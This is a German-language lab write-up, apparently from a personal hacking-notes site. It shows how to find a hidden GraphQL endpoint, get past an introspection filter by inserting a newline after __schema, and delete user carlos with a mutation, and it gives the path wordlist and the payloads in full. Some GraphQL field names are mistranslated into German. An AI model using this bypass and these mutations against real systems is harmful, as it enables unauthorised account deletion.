> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/graphql/graphql-cached-endpoint-discovery.md).

# Entdeckung von GraphQL-Cache-Endpunkten

### Auffinden eines versteckten GraphQL-Endpunkts

**Lab-Hintergrund**

Die Benutzerverwaltungsfunktionen dieses Labs basieren auf einem GraphQL **verborgen** Endpunkt. / Dies lässt sich nicht einfach durch das Navigieren auf der Website entdecken, und **PlotQL** Verteidigungsmechanismen sind vorhanden.

**Ziel:**

* Versteckten GraphQL-Endpunkt identifizieren
* Benutzer löschen **carlos**

<figure><img src="/files/840375fdd3e2b294d2428327d9db1e536413a29b" alt=""><figcaption></figcaption></figure>

**Initiale Aufklärung**

Durch normales Navigieren in der Anwendung gibt es keine sichtbaren Hinweise auf die Verwendung von GraphQL. / Daher ist es notwendig, die gängigsten GraphQL-Pfade manuell zu testen.

**Gängige GraphQL-Routen testen**

Die folgenden Routen werden getestet

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

Die Route **`/api`** antwortet mit der folgenden Meldung:

```bash
"Abfrage nicht vorhanden"
```

Dies weist eindeutig auf das Vorhandensein eines aktiven GraphQL-Endpunkts hin.

<figure><img src="/files/7fabdaeb6d00f8646d9c8a65dc9fbfa3646f6e9f" alt=""><figcaption></figcaption></figure>

**Überprüfung der Introspektionsfilterung**

Eine einfache Introspektionsanfrage wird über die URL gesendet:

```bash
api?query={__schema{types{name}}}
```

Serverantwort:

`GraphQL-Introspektion ist nicht erlaubt, aber die Abfrage enthielt __schema oder __type`

<figure><img src="/files/36828fff8c35e874be186a964a3c9858672f0ec0" alt=""><figcaption></figcaption></figure>

Die gleiche Blockierung tritt auf, wenn eine vollständige Introspektionsanfrage über Burp oder GraphiQL gesendet wird.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            Name
        }
        mutationType {
            Name
        }
        subscriptionType {
            Name
        }
        types {
            ...FullType
        }
        directives {
            Name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    Name
    description
    fields(includeDeprecated: true) {
        Name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        Name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    Name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    Name
    ofType {
        kind
        Name
        ofType {
            kind
            Name
            ofType {
                kind
                Name
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/70a192c5aafa0f585b282f4881e4f1d8e3aa533a" alt=""><figcaption></figcaption></figure>

**Umgehung der Introspektionsblockierung**

Um die schlüsselwortbasierte Filterung zu umgehen `__schema` und `__type`, ein **Zeilenumbruch** wird vor der öffnenden geschweiften Klammer hinzugefügt:

```graphql
__schema
     {
```

Diese kleine Änderung ermöglicht es, dass die Anfrage vom Server akzeptiert und verarbeitet wird.

<figure><img src="/files/78fd3fecfbaeee1993d3c8c3e99190e5eb1e285b" alt=""><figcaption></figcaption></figure>

**Analyse des GraphQL-Diagramms**

Sobald die Introspektion akzeptiert wird, werden die entdeckten Anfragen an **Sitemap** gesendet, um leichter analysiert zu werden.

<figure><img src="/files/bc5772916dfdd197251d9a41106b53cdd6b509ef" alt=""><figcaption></figcaption></figure>

Zwei wichtige Anfragen werden identifiziert.

<figure><img src="/files/4d1473c5c8ccd42f9663120226926acde2f0d4cc" alt=""><figcaption></figcaption></figure>

**Abruf eines Benutzers anhand der ID**

Anfrage, um den Benutzernamen anhand seiner Kennung abzurufen:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    Benutzernamen
  }
}
```

Durch Angabe der folgenden ID:

```json
{
    "id":3
}
```

Es wird festgestellt, dass der Benutzer mit der ID **3** entspricht **carlos**.

<figure><img src="/files/a71e4d286366213f635f982f0cd1028bb45e5a44" alt=""><figcaption></figcaption></figure>

**Löschen des Benutzers carlos**

Eine Übertragung entfernt einen Benutzer aus der Organisation:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      Benutzernamen
    }
  }
}
```

Verwendete Nutzlast:

```graphql
{
  "input": {
    "id": 3
  }
}
```

Der Benutzer **carlos** wird dann erfolgreich gelöscht.

<figure><img src="/files/85b7303fee64349a4c7ee9d4be0a9b9700abfa2b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
